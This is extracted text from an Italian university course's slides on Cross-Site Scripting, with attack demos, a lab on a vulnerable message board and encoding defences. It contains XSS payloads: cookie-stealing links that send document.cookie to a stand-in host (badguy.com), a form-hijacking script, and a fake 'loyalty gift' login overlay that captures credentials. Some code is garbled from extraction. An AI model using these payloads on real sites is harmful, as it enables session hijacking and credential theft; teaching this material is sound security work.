UNIVERSITÀ DI PERUGIA DIPARTIMENTO DI MATEMATICA E INFORMATICA Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione Cross Site Scripting Prof. Stefano Bistarelli C Consiglio Nazionale delle Ricerche Iit Istituto di Informatica e Telematica - Pisa Università G. dAnnunzio Dipartimento di Scienze, Pescara
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione S. Bistarelli - Metodologie di Secure Programming 2 Cos' è il CSS? Una tecnica che consente agli hacker di: Eseguire script dannoso nel browser Web di un client Inserire tag,,, e Rubare informazioni sulla sessione Web e cookie di autenticazione Accedere al computer client Qualsiasi pagina Web che esegue il rendering HTML e contenente input dell'utente è vulnerabile
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione S. Bistarelli - Metodologie di Secure Programming 3 A.4: Principi di Cross-Site-Scripting (XSS) [1] Richiesta [2] Risposta Web server App. server DataBase WebApp vulnerabile al XSS Attacker user [4] banca.it/VulnApp.jsp?e= [5] Risposta: pagina voluta dallattaccante eseguita sul browser dellutente [6] Invio di token di autenticazione allattaccante [6] Internet [3] Invio malicious code mascherato da informativa della banca Internet [7] utilizzo del token rubato per autenticarsi al servizio
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione S. Bistarelli - Metodologie di Secure Programming 4 A.4: Cross-Site-Scripting (2) GET /welcome.cgi?name= alert(document.cookie) HTTP/1.0 Host: La risposta del sito vulnerabile sarà la seguente (interpretata sul browser dellutente ignaro): Welcome! Hi alert(document.cookie) Welcome to our system...
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione S. Bistarelli - Metodologie di Secure Programming 5 A.4: Cross-Site-Scripting (3) Il malicious link può essere: banca.it/welcome.cgi?name= window.open( i?cookie=%2Bdocument.cookie) La risposta del server sarà: Welcome! Hi window.open( Welcome to our system... Redirezione del contenuto del cookie dellutente ignaro verso il server dellattaccante
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione S. Bistarelli - Metodologie di Secure Programming 6 Due impieghi comuni del CSS Attaccare le piattaforme di posta elettronica basate sul Web e i forum Utilizzo dei tag HTML per reindirizzare informazioni private
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione S. Bistarelli - Metodologie di Secure Programming 7 Attacchi basati su form (1 di 2) Response.Write("Welcome" & Request.QueryString("UserName"))
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione S. Bistarelli - Metodologie di Secure Programming 8 Site soggetti a XSS/CSS Vediamo lesempio
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione S. Bistarelli - Metodologie di Secure Programming 9 Proviamo.. Iniettiamo codice e vediamo che succede … alert(ciao) alert(document.cookie) Script eseguito sul mio browser … Ma come faccio io attaccante che non sono su macchina del client.. a prendermi il cookie?? …cerco il campo di input … txtname
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione S. Bistarelli - Metodologie di Secure Programming 10 E se chiamo la pagina cosi? name= alert('ciao') name= alert('ciao')</script Funziona lo stesso!! Quindi se mando link a Maria e lei clicca esegue sul suo browser (credendo di andare al suo sito) il mio script!!
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione S. Bistarelli - Metodologie di Secure Programming 11 Attacchi basati su form (1 di 2) Response.Write("Welcome" & Request.QueryString("UserName"))
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione S. Bistarelli - Metodologie di Secure Programming 12 … Ma come faccio io attaccante ad avere le info sul mio sito e non sullo schermo di Maria??
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione S. Bistarelli - Metodologie di Secure Programming 13 Attacchi basati su form (2 di 2) idForm.cookie.value=document.cookie; idForm.submit(); > here
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione S. Bistarelli - Metodologie di Secure Programming 14 window.onload = function() { document.forms[0].onsubmit = function () { return Hack() } function Hack() { var action=" document.forms[0].action=action;document.forms[0].method="GET"; return true; }
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione S. Bistarelli - Metodologie di Secure Programming 15 In generale … Se ho input di questo tipo: ? term = apple search.php responds with: Search Results Results for :...
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione S. Bistarelli - Metodologie di Secure Programming 16 Posso usarlo cosi!! ? term = window.open( = + document.cookie ) Se la mia vittima clicca su questo link? Browser va a victim.com/search.php Victim.com restituisce Results for … Browser executes script: Sends badguy.com cookie for victim.com
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione S. Bistarelli - Metodologie di Secure Programming 17 So what? Perche un utente dovrebbe cliccare su quel link? Phishing in webmail client (e.g. gmail). Link in doubleclick banner ad … many many ways to fool user into clicking Vedi esempio mail poste.it!!esempio mail poste.it Cosa ci fa badguy.com con il cookie di victim.com ? Puo essere usato per spacciarsi per quellutente per esempio!! (vedi lezione su cookies!!)
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione S. Bistarelli - Metodologie di Secure Programming 18 Even worse Attacker can execute arbitrary scripts in browser Can manipulate any DOM component on victim.com Control links on page Control form fields (e.g. password field) on this page and linked pages. Can infect other users: MySpace.com worm.
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione S. Bistarelli - Metodologie di Secure Programming 19 Difesa …
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione S. Bistarelli - Metodologie di Secure Programming 20 Avoiding XSS bugs (PHP) Main problem: Input checking is difficult --- many ways to inject scripts into HTML. Preprocess input from user before echoing it PHP: htmlspecialchars(string) & & " " ' ' > htmlspecialchars( " Test ", ENT_QUOTES); Outputs: <a href='test'>Test</a>
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione S. Bistarelli - Metodologie di Secure Programming 21 Avoiding XSS bugs (ASP.NET) ASP.NET 1.1: Server.HtmlEncode(string) Similar to PHP htmlspecialchars validateRequest: (on by default) Crashes page if finds in POST data. Looks for hardcoded list of patterns. Can be disabled:
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione S. Bistarelli - Metodologie di Secure Programming 22
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione S. Bistarelli - Metodologie di Secure Programming 23 Esercizio lab
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione S. Bistarelli - Metodologie di Secure Programming 24 esercizio In this scenario, you have a web application that supports both anonymous and authenticated users, the latter of which are authenticated using ASP.NET Forms logon. The application is a message board which allows any user to post a message that all others can read.
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione S. Bistarelli - Metodologie di Secure Programming 25 Giochiamo con lapplicazione 2 utenti registrati (hard coded (no db)) alice – password bob – password Entriamo come alice e inviamo un messaggio NO HTML Ora entriamo come black hat (anonimo) e vediamo se supporta XSS Si!!
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione S. Bistarelli - Metodologie di Secure Programming 26 Postiamo questo codice!! Wow, this site has a nasty XSS vulnerability! I wonder if I can see your cookie with this script? Hey, would you post your cookie to my website please? function changePersonality() { var image = document.images[0] if (image.src.match('google')) { // switch back to Fabrikam image.src = 'art/Fabrikam.gif'; } else { // switch to Google image.src = ' }
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione S. Bistarelli - Metodologie di Secure Programming 27 Ora immaginiamo.. Che alice entri e veda il codice … Alice non lo sa ma: Attaccante ha controllo completo della pagina (vedi come cambia immagine) Attaccante puo rubare informazioni da alice (o meglio per ora le visualizza e basta, ma potrebbe facilmente reindirizzarle (ricordatevi esempi precedenti) Visualizza cookies
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione S. Bistarelli - Metodologie di Secure Programming 28 Difesa Usare htmlencode su testo output! text = Server.HtmlEncode(r.ReadToEnd()); Filtra input // filter the input using a whitelist - look for what is good! string pattern = if (!Regex.IsMatch(text, pattern, RegexOptions.Multiline)) { string errorMessage = "Your post has one or more disallowed " + "characters (no HTML, please)."; + Server.UrlEncode(errorMessage)); return; } Sembra tutto a posto ora?? E invece no chi sa perchè?
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione S. Bistarelli - Metodologie di Secure Programming 29 XSS su error page Error chiamata con un parametro di input!! Proviamo a cambiare input! ciao a tutti funziona!! Posso modificare la pagina come voglio!! Phishing attack!! lab-css\CrossSiteScripting\before\XSSWeb\phishing_ .htm Il link nella pagina porta alla pagina di errore opportunamente modificata!!
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione S. Bistarelli - Metodologie di Secure Programming 30 Ecco il messaggio per la pag di errore var html = "Please log in. You will be automatically registered for a free gift!" + " " + "var u, p;" + "function myLogon() {" + "u = document.getElementById('ctl00$LoginView1$Login1$UserName').value;" + "p = document.getElementById('ctl00$LoginView1$Login1$Password').value;" + "}" + "function thanks() { " + "var msg = 'Your gift will be shipped within 7 business days. Thanks again for your loyalty! " + "Oh and by the way, I learned something about you today. " + "Your user name is: ' %2B u %2B ' and your password is: ' %2B p;" + "document.getElementById('ctl00_MainBody_message').innerText=msg;" + "}" + "document.getElementById('ctl00_lblFormTitle').lastChild.nodeValue='Loyalty Gift';" + "document.getElementById('ctl00_lblPageTitle').lastChild.nodeValue='Loyalty Gift';" + "document.getElementById('ctl00$LoginView1$Login1$LoginButton').onclick = myLogon;" + "document.forms[0].action = 'javascript:thanks()';" + " ";
Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione S. Bistarelli - Metodologie di Secure Programming 31 Fix la pagina error! Su error page Htmlencode input message.Text = Server.HtmlEncode(Request.QueryString["msg"]); Nota su web.config true